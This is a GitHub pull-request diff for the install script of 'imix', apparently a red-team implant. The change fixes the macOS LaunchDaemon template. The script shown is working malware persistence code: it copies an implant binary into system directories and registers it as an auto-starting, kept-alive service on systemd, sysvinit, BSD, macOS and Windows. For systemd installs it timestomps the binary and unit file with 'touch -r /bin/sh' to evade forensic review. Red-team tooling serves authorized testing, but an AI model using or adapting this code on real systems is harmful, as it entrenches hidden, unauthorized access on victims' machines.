Skip to content

Fixed up install script for macOS #873

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
Cictrone merged 1 commit into from
Mar 11, 2025
Merged

Fixed up install script for macOS #873

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
73 changes: 49 additions & 24 deletions implants/imix/install_scripts/install_service/main.eldritch
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -124,9 +124,11 @@ launch_daemon_template = """<?xml version="1.0" encoding="UTF-8"?>
<dict>
<key>Label</key>
<string>{{ service_name }}</string>
<key>Program</key>
<string>{{ bin_path }}</string>
<key>ProgramArguments</key>
<array>
<string>{{ bin_path }}</string>
<string>{{ bin_args }}</string>
</array>
<key>KeepAlive</key>
<true/>
Expand Down Expand Up @@ -204,6 +206,7 @@ status_cmd="${name}_status"
run_rc_command "$1"
"""


def is_using_systemd():
command_get_res = sys.shell("command -v systemctl")
if command_get_res['status'] == 0 and file.is_file(command_get_res['stdout'].strip()):
Expand All @@ -212,49 +215,55 @@ def is_using_systemd():
return True
return False


def is_using_sysvinit():
command_get_res = sys.shell("command -v update-rc.d")
if command_get_res['status'] == 0 and file.is_file(command_get_res['stdout'].strip()):
return True
return False


def is_using_bsdinit():
# Lol this is how ansible does it too :shrug:
# https://github.com/ansible/ansible/blob/386edc666ec2a053b4d576fc4b2deeb46fe492b8/lib/ansible/module_utils/facts/system/service_mgr.py#L124
if sys.get_os()['platform'] == "BSD":
return True
return False


def systemd(service_name, service_desc, executable_path, executable_args):
# assets.copy("persist_service/files/systemd.service.j2","/tmp/systemd.service.j2")
file.write("/tmp/systemd.service.j2", systemd_service_template)
args = {
"SERVICE_NAME":service_name,
"SERVICE_DESC":service_desc,
"SERVICE_START_CMD":executable_path+" "+executable_args
"SERVICE_NAME": service_name,
"SERVICE_DESC": service_desc,
"SERVICE_START_CMD": executable_path+" "+executable_args
}
file.template("/tmp/systemd.service.j2","/usr/lib/systemd/system/"+service_name+".service", args, False)
file.template("/tmp/systemd.service.j2",
"/usr/lib/systemd/system/"+service_name+".service", args, False)
file.remove("/tmp/systemd.service.j2")

# assets.copy("persist_service/files/payload.elf", executable_path)
sys.shell("chmod +x "+executable_path)
sys.shell(f"touch -r /bin/sh {executable_path}")
sys.shell(f"touch -r /bin/sh /usr/lib/systemd/system/{service_name}.service")
sys.shell(
f"touch -r /bin/sh /usr/lib/systemd/system/{service_name}.service")

sys.shell("systemctl daemon-reload "+service_name)
sys.shell("systemctl enable "+service_name)
sys.shell("systemctl start "+service_name)
print("systemd installed")


def sysvinit(service_name, service_desc, executable_path, executable_args):
# assets.copy("persist_service/files/sysvinit.sh.j2","/tmp/svc.sh.j2")
file.write("/tmp/svc.sh.j2", sysvinit_template)
args = {
"SERVICE_NAME":service_name,
"SERVICE_DESC":service_desc,
"SERVICE_START_CMD":executable_path+" "+executable_args
"SERVICE_NAME": service_name,
"SERVICE_DESC": service_desc,
"SERVICE_START_CMD": executable_path+" "+executable_args
}
file.template("/tmp/svc.sh.j2","/etc/init.d/"+service_name, args, False)
file.template("/tmp/svc.sh.j2", "/etc/init.d/"+service_name, args, False)
file.remove("/tmp/svc.sh.j2")
sys.shell("chmod +x "+"/etc/init.d/"+service_name)

Expand All @@ -267,6 +276,7 @@ def sysvinit(service_name, service_desc, executable_path, executable_args):
sys.shell("service "+service_name+" start")
print("sysvinit installed")


def bsdinit(service_name, service_desc, executable_path, executable_args):
startup_dir = "/usr/local/etc/rc.d/"
if not file.is_dir(startup_dir):
Expand All @@ -275,11 +285,12 @@ def bsdinit(service_name, service_desc, executable_path, executable_args):

file.write("/tmp/svc.sh.j2", bsdinit_template)
args = {
"service_name":service_name,
"service_desc":service_desc,
"service_start_cmd":executable_path+" "+executable_args
"service_name": service_name,
"service_desc": service_desc,
"service_start_cmd": executable_path+" "+executable_args
}
file.template("/tmp/svc.sh.j2",startup_dir+service_name+".sh", args, False)
file.template("/tmp/svc.sh.j2", startup_dir +
service_name+".sh", args, False)
file.remove("/tmp/svc.sh.j2")

sys.shell("chmod +x "+startup_dir+service_name+".sh")
Expand All @@ -288,23 +299,28 @@ def bsdinit(service_name, service_desc, executable_path, executable_args):

print("bsdinit installed")


def launch_daemon(service_name, executable_path, executable_args):
# assets.copy("persist_service/files/launch_daemon.plist.j2","/tmp/plist.j2")
file.write("/tmp/plist.j2",launch_daemon_template)
file.write("/tmp/plist.j2", launch_daemon_template)
args = {
"service_name":"com.testing."+service_name,
"bin_path":executable_path+" "+executable_args
"service_name": "com.testing."+service_name,
"bin_path": executable_path,
"bin_args": executable_args
}
file.template("/tmp/plist.j2","/Library/LaunchDaemons/"+service_name+".plist", args, False)
file.template("/tmp/plist.j2", "/Library/LaunchDaemons/" +
service_name+".plist", args, False)
file.remove("/tmp/plist.j2")

# assets.copy("persist_service/files/payload.macho", executable_path)
sys.shell("chmod +x "+executable_path)
sys.shell("launchctl load -w /Library/LaunchDaemons/"+service_name+".plist")
print("Launch daemon installed")


def windows_service_manager(service_name, service_display_name, service_description, executable_path):
create_res = sys.shell("sc.exe create "+service_name+" binpath= "+executable_path+" displayname="+service_display_name+" start= auto type= own")
create_res = sys.shell("sc.exe create "+service_name+" binpath= "+executable_path +
" displayname="+service_display_name+" start= auto type= own")
if 'ERROR' in create_res['stdout'] or create_res['stderr'] != "":
print("Failed to create service:\n"+create_res+"\n")
print("\n")
Expand All @@ -323,25 +339,30 @@ def persist_service(service_name, service_desc, executable_name, executable_args
executable_path = "/bin/"+executable_name
file.copy(src_path, executable_path)
if is_using_systemd():
systemd(service_name, service_desc, executable_path, executable_args)
systemd(service_name, service_desc,
executable_path, executable_args)
elif is_using_sysvinit():
sysvinit(service_name, service_desc, executable_path, executable_args)
sysvinit(service_name, service_desc,
executable_path, executable_args)
elif sys.is_macos():
executable_path = "/var/root/"+executable_name
file.copy(src_path, executable_path)
launch_daemon(service_name, executable_path, executable_args)
elif sys.is_windows():
executable_path = "C:\\ProgramData\\"+executable_name+".exe"
file.copy(src_path, executable_path)
windows_service_manager(service_name, service_name, service_desc, executable_path)
windows_service_manager(
service_name, service_name, service_desc, executable_path)
elif sys.get_os()['platform'] == "BSD":
executable_path = "/bin/"+executable_name
file.copy(src_path, executable_path)
if is_using_bsdinit():
bsdinit(service_name, service_desc, executable_path, executable_args)
bsdinit(service_name, service_desc,
executable_path, executable_args)
else:
print("OS not supported")


def parse_and_persist(config_data):
if len(config_data['service_configs']) < 1:
print("Please add a service_config to your imix config")
Expand All @@ -354,6 +375,7 @@ def parse_and_persist(config_data):
"",
)


"""
This script uses the first provided services_configs to install a service
On the local system. The config file specified for the install will be used
Expand All @@ -363,8 +385,10 @@ it after running the install.

./imix install
"""


def main():
config_data ={
config_data = {
"service_configs": [
{
"name": "imix",
Expand All @@ -377,4 +401,5 @@ def main():
parse_and_persist(config_data)
print("Implant copied, you may now delete this binary.")


main()
Loading
Loading